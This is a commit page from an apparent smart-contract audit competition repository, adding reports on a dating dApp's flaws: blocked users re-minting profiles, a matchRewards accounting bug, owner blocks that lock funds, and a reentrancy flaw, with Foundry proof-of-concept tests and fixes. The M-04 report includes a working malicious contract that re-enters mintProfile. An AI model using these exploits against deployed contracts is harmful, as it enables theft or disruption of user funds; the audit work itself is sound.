han/2025-02-datingdapp
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

add valid finding, ai finding, and retro
Some checks failed
CI / Foundry project (push) Has been cancelled
Details

Browse Source
This commit is contained in:
han
2025-03-08 23:24:27 +07:00
parent 5726fc6b9a
commit 09ed9015e5
10 changed files with 873 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
audit/H-01.md
View File

@@ -1,5 +1,7 @@
# Blocked User Can Call `SoulboundProfileNFT::mintProfile` Again
## A valid finding but the actual severity is Medium instead of High. written by myself.
## Summary
Due to missing blocked profile handling, any blocked profile can call `SoulboundProfileNFT::mintProfile` again to mint and take part on the system. The purpose of blocking a profile no longer valid, since they could mint a new profile and continue interacting with existing `LikeRegistry` and `MultiSig`.

2
audit/H-02.md
View File

@@ -1,5 +1,7 @@
# H-02. User Fund Sent to LikeRegistry::likeUser is Never Accounted and Make `LikeRegistry::matchRewards` Always Return Zero
## This is a valid finding. Written by myself.
## Summary
Due to miscalculation in the `LikeRegistry::matchRewards`, any deployed MultisigWallet will contain 0 fund, and also fees for the protocol is always 0 as well. User funds sent through `LikeRegistry::likeUser` is never being accounted to the user. It leads to the created multisigWallet has no fund in it, and user lose their fund.

2
audit/H-03.md
View File

@@ -1,5 +1,7 @@
# Fund Sent Directly to `LikeRegistry` Will Not be Able to Withdraw by Anyone
## This is an invalid low finding because its user mistake. Written by myself.
## Summary
Due to missing handling of received funds which transferred directly to the contract address, it can lead to the funds unable to withdraw. Both user and the contract owner are unable to withdraw the fund being sent directly to the contract lead to a loss of fund.

2
audit/H-04.md
View File

@@ -1,5 +1,7 @@
# Fund Locked in MultiSig when Match with a Blocked Profile
## This is an invalid high finding because of design choice. Written by myself.
## Summary
A profile can be blocked by the owner through `SoulboundProfileNFT::blockProfile`. But the fact that the profile is being blocked, doesn't change anything on the MultiSIgWallet. Someone who match up with a blocked profile now in the risk of their fund will never be able to withdraw. There is no other way to withdraw fund from MultiSigWallet other than both of the owner approve the transaction.

80
audit/M-01.md Normal file
View File

@@ -0,0 +1,80 @@
# M-01. `SoulboundProfileNFT::blockProfile` make it possible to recreate the profile
## This is the final report, not submitted by me.
## Summary
The `SoulboundProfileNFT::blockProfile` function uses `delete profileToToken[blockAddress]`, which resets `profileToToken[blockAddress]` to `0`. Since the mintProfile function checks for an existing profile by verifying that `profileToToken[msg.sender] == 0`, a blocked account can be recreated by simply minting a new profile. This behavior bypasses the intended permanent block functionality.
## Vulnerability Details
By deleting the mapping entry for a blocked account, the contract inadvertently allows a new mintProfile call to pass the check `require(profileToToken[msg.sender] == 0, "Profile already exists")`. Essentially, once an account is blocked, its associated mapping entry is cleared, so the condition to identify an account with an existing profile is no longer met. This loophole enables a blocked account to recreate its profile, undermining the purpose of blocking.
## Impact
A blocked account, which should be permanently barred from engaging with the platform, can circumvent this restriction by re-minting its profile.
The integrity of the platform is compromised, as blocked users could regain access and potentially perform further malicious actions.
## POC
```
function testRecereationOfBlockedAccount() public {
// Alice mints a profile successfully
vm.prank(user);
soulboundNFT.mintProfile("Alice", 18, "ipfs://profileImageAlice");
// Owner blocks Alice's account, which deletes Alice profile mapping
vm.prank(owner);
soulboundNFT.blockProfile(user);
// The blocked user (Alice) attempts to mint a new profile.
// Due to the reset mapping value (0), the require check is bypassed.
vm.prank(user);
soulboundNFT.mintProfile("Alice", 18, "ipfs://profileImageAlice");
}
```
## Tools Used
* Foundry: Utilized for testing the contract, including validating the minting and blocking behavior.
* Manual Code Review: An analysis of the Solidity code confirmed that the delete operation resets the mapping value, creating the vulnerability.
## Recommendations
* When blocking an account, implement a mechanism to permanently mark that address as blocked rather than simply deleting an entry. For example, maintain a separate mapping (e.g., isBlocked) to record blocked accounts, and update mintProfile to check if an account is permanently barred from minting: Example modification:
```
+ mapping(address => bool) public isBlocked;
...
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
+ require(!isBlocked[msg.sender], "Account is permanently blocked");
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
...
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
+ isBlocked[blockAddress] = true;
emit ProfileBurned(blockAddress, tokenId);
}
```

265
audit/M-02.md Normal file
View File

@@ -0,0 +1,265 @@
# M-02. Logic flaw in `LikeRegistry::matchRewards` can lead to users getting free dates
## Valid medium from someone else.
## Summary
`LikeRegistry::matchRewards` resets the matched users' `userBalances`. However, if a previously matched user gets liked and matched later on, the share multisig wallet will contain no funds from him. Technically, this scenario isn't possible due to a bug where `userBalances` is never updated with user funds, but the flawed logic is still there.
## Vulnerability Details
Upon a match, `LikeRegistry::matchRewards` gets called.
```
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
// [1]
userBalances[from] = 0;
userBalances[to] = 0;
// [2]
uint256 totalRewards = matchUserOne + matchUserTwo;
// [3]
uint256 matchingFees = (totalRewards * FIXEDFEE) / 100;
uint256 rewards = totalRewards - matchingFees;
totalFees += matchingFees;
// Deploy a MultiSig contract for the matched users
MultiSigWallet multiSigWallet = new MultiSigWallet(from, to);
// [4]
// Send ETH to the deployed multisig wallet
(bool success,) = payable(address(multiSigWallet)).call{value: rewards}("");
require(success, "Transfer failed");
}
```
`matchRewards` will collect (`[2]`) all their previous like payments (minus a 10% fee `[3]`) and finally create a shared multisig wallet between the two users, which they can access for their first date (`[4]`). Note how `userBalances` is reset at `[1]`. Imagine the following scenario:
1. bob likes alice
* `userBalance[bob] += 1 ETH`
2. bob likes angie
* `userBalance[bob] += 1 ETH`
3. alice likes bob (match)
* `userBalance[alice] += 1 ETH`
* reset of `userBalance[alice]` and `userBalance[bob]`
4. angie likes alex
* `userBalance[angie] += 1 ETH`
5. angie likes tony
* `userBalance[angie] += 1 ETH`
6. angie likes bob (match)
* `userBalance[angie] += 1 ETH` (total of 3 ETH)
* `userBalance[bob]` is reset from bob's previous match with alice
7. shared multisig wallet is created using only angie's funds
## Proof of Concept
To demonstrate the aforementioned scenario, apply the following patch in `LikeRegistry::likeUser` in order to update `userBalances` properly,
```
function likeUser(address liked) external payable {
require(msg.value >= 1 ether, "Must send at least 1 ETH");
require(!likes[msg.sender][liked], "Already liked");
require(msg.sender != liked, "Cannot like yourself");
require(
profileNFT.profileToToken(msg.sender) != 0,
"Must have a profile NFT"
);
require(
profileNFT.profileToToken(liked) != 0,
"Liked user must have a profile NFT"
);
+ userBalances[msg.sender] += msg.value;
likes[msg.sender][liked] = true;
emit Liked(msg.sender, liked);
// Check if mutual like
if (likes[liked][msg.sender]) {
matches[msg.sender].push(liked);
matches[liked].push(msg.sender);
emit Matched(msg.sender, liked);
matchRewards(liked, msg.sender);
}
}
```
as well as a few logs in `LikeRegistry::matchRewards`:
```
function matchRewards(address from, address to) internal {
uint256 matchUserOne = userBalances[from];
uint256 matchUserTwo = userBalances[to];
@> console.log("[LikeRegistry::matchRewards] matchUserOne:", matchUserOne);
@> console.log("[LikeRegistry::matchRewards] matchUserTwo:", matchUserTwo);
userBalances[from] = 0;
userBalances[to] = 0;
// ...
// Deploy a MultiSig contract for the matched users
MultiSigWallet multiSigWallet = new MultiSigWallet(payable(address(this)), from, to);
// Send ETH to the deployed multisig wallet
(bool success, ) = payable(address(multiSigWallet)).call{
value: rewards
}("");
require(success, "Transfer failed");
@> console.log("[LikeRegistry::matchRewards] multiSigWallet balance:", address(multiSigWallet).balance);
}
```
Finally, place `test_UserCanGetFreeDates` in `testSoulboundProfileNFT.t.sol`:
```
function test_UserCanGetFreeDates() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address angie = makeAddr("angie");
address alex = makeAddr("alex");
address tony = makeAddr("tony");
vm.deal(bob, 10 ether);
vm.deal(alice, 10 ether);
vm.deal(angie, 10 ether);
// mint a profile NFT for bob
vm.prank(bob);
soulboundNFT.mintProfile("Bob", 25, "ipfs://profileImage");
// mint a profile NFT for alice
vm.prank(alice);
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
// mint a profile NFT for angie
vm.prank(angie);
soulboundNFT.mintProfile("Angie", 25, "ipfs://profileImage");
// mint a profile NFT for alex
vm.prank(alex);
soulboundNFT.mintProfile("Alex", 25, "ipfs://profileImage");
// mint a profile NFT for tony
vm.prank(tony);
soulboundNFT.mintProfile("Tony", 25, "ipfs://profileImage");
// bob <3 alice
vm.prank(bob);
likeRegistry.likeUser{value: 1 ether}(alice);
assertTrue(likeRegistry.likes(bob, alice));
// bob <3 angie
vm.prank(bob);
likeRegistry.likeUser{value: 1 ether}(angie);
assertTrue(likeRegistry.likes(bob, angie));
console.log("====== FIRST MATCH ======");
// alice <3 bob (match)
vm.prank(alice);
likeRegistry.likeUser{value: 1 ether}(bob);
assertTrue(likeRegistry.likes(alice, bob));
// angie <3 alex
vm.prank(angie);
likeRegistry.likeUser{value: 1 ether}(alex);
assertTrue(likeRegistry.likes(angie, alex));
// angie <3 tony
vm.prank(angie);
likeRegistry.likeUser{value: 1 ether}(tony);
assertTrue(likeRegistry.likes(angie, tony));
console.log("\n\n====== SECOND MATCH ======");
// angie <3 bob (match)
vm.prank(angie);
likeRegistry.likeUser{value: 1 ether}(bob);
}
```
and run the test:
```
$ forge test --mt test_UserCanGetFreeDates -vvv
Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] test_UserCanGetFreeDates() (gas: 2274150)
Logs:
====== FIRST MATCH ======
[LikeRegistry::matchRewards] matchUserOne: 2000000000000000000
[LikeRegistry::matchRewards] matchUserTwo: 1000000000000000000
[LikeRegistry::matchRewards] totalFees: 300000000000000000
[LikeRegistry::matchRewards] multiSigWallet balance: 2700000000000000000
====== SECOND MATCH ======
[LikeRegistry::matchRewards] matchUserOne: 0
[LikeRegistry::matchRewards] matchUserTwo: 3000000000000000000
[LikeRegistry::matchRewards] totalFees: 600000000000000000
[LikeRegistry::matchRewards] multiSigWallet balance: 2700000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.57ms (1.93ms CPU time)
Ran 1 test suite in 139.45ms (7.57ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
Note how on the second match (between angie and bob), `matchUserOne` (which corresponds to bob) is 0. It was reset upon his match with alice.
## Impact
Users can get free dates. The impact is low since this bug isn't technically feasible due to a bug in the `LikeRegistry` contract where `userBalances` isn't properly updated with user payments. The logic flaw remains though.
## Tools used
Manual review, tests
## Recommendations
Consider grouping ETH-like payments on a per-like basis instead of all together.
```
contract LikeRegistry is Ownable {
// ...
mapping(address => mapping(address => bool)) public likes;
mapping(address => address[]) public matches;
- mapping(address => uint256) public userBalances;
+ mapping(address => mapping(address => uint256)) public userBalances;
function likeUser(address liked) external payable {
require(msg.value >= 1 ether, "Must send at least 1 ETH");
require(!likes[msg.sender][liked], "Already liked");
require(msg.sender != liked, "Cannot like yourself");
require(
profileNFT.profileToToken(msg.sender) != 0,
"Must have a profile NFT"
);
require(
profileNFT.profileToToken(liked) != 0,
"Liked user must have a profile NFT"
);
+ userBalances[msg.sender][liked] += msg.value;
likes[msg.sender][liked] = true;
emit Liked(msg.sender, liked);
// ...
}
function matchRewards(address from, address to) internal {
- uint256 matchUserOne = userBalances[from];
- uint256 matchUserTwo = userBalances[to];
+ uint256 matchUserOne = userBalances[from][to];
+ uint256 matchUserTwo = userBalances[to][from];
- userBalances[from][to] = 0;
- userBalances[to][from] = 0;
+ userBalances[from][to] = 0;
+ userBalances[to][from] = 0;
// ...
}
}
```

83
audit/M-03.md Normal file
View File

@@ -0,0 +1,83 @@
# M-03. App owner can have users' funds locked by blocking them
## Valid medium finding by someone else
## Summary
App owner can block users at will, causing users to have their funds locked.
## Vulnerability Details
`SoulboundProfileNFT::blockProfile` can block any app's user at will.
```
/// @notice App owner can block users
function blockProfile(address blockAddress) external onlyOwner {
uint256 tokenId = profileToToken[blockAddress];
require(tokenId != 0, "No profile found");
_burn(tokenId);
delete profileToToken[blockAddress];
delete _profiles[tokenId];
emit ProfileBurned(blockAddress, tokenId);
}
```
## Proof of Concept
The following code demonstrates the scenario where the app owner blocks `bob` and he is no longer able to call `LikeRegistry::likeUser`. Since the contract gives no posibility of fund withdrawal, `bob`'s funds are now locked.
Place `test_blockProfileAbuseCanCauseFundLoss` in `testSoulboundProfileNFT.t.sol`:
```
function test_blockProfileAbuseCanCauseFundLoss() public {
vm.deal(bob, 10 ether);
vm.deal(alice, 10 ether);
// mint a profile NFT for bob
vm.prank(bob);
soulboundNFT.mintProfile("Bob", 25, "ipfs://profileImage");
// mint a profile NFT for Alice
vm.prank(alice);
soulboundNFT.mintProfile("Alice", 25, "ipfs://profileImage");
// alice <3 bob
vm.prank(alice);
likeRegistry.likeUser{value: 1 ether}(bob);
vm.startPrank(owner);
soulboundNFT.blockProfile(bob);
assertEq(soulboundNFT.profileToToken(msg.sender), 0);
vm.startPrank(bob);
vm.expectRevert("Must have a profile NFT");
// bob is no longer able to like a user, as his profile NFT is deleted
// his funds are effectively locked
likeRegistry.likeUser{value: 1 ether}(alice);
}
```
And run the test:
```
$ forge test --mt test_blockProfileAbuseCanCauseFundLoss
Ran 1 test for test/testSoulboundProfileNFT.t.sol:SoulboundProfileNFTTest
[PASS] test_blockProfileAbuseCanCauseFundLoss() (gas: 326392)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.42ms (219.63µs CPU time)
Ran 1 test suite in 140.90ms (1.42ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```
## Impact
App users can have their funds locked, as well as miss out on potential dates.
## Tools used
Manual review, tests
## Recommendations
Add a voting mechanism to prevent abuse and/or centralization of the feature.

104
audit/M-04.md Normal file
View File

@@ -0,0 +1,104 @@
# M-04. Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations
## Approved finding by someone else
## Summary
In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation.
Source Code:
```
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```
## Vulnerability Details
Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs:
```
function testReentrancyMultipleNft() public {
MaliciousContract maliciousContract = new MaliciousContract(
address(soulboundNFT)
);
vm.prank(address(maliciousContract));
MaliciousContract(maliciousContract).attack();
assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1);
}
```
```
contract MaliciousContract {
SoulboundProfileNFT soulboundNFT;
uint256 counter;
constructor(address _soulboundNFT) {
soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
}
// Malicious reentrancy attack
function attack() external {
soulboundNFT.mintProfile("Evil", 99, "malicious.png");
}
// Malicious onERC721Received function
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
// Reenter the mintProfile function
if (counter == 0) {
counter++;
soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
}
return 0x150b7a02;
}
}
```
## Impact
The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint.
I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. 
## Tools Used
Foundry
Slither
## Recommendations
To follow CEI properly, move `_safeMint` to the end:
```
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
- _safeMint(msg.sender, tokenId);
// Store metadata on-chain
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
+ _safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```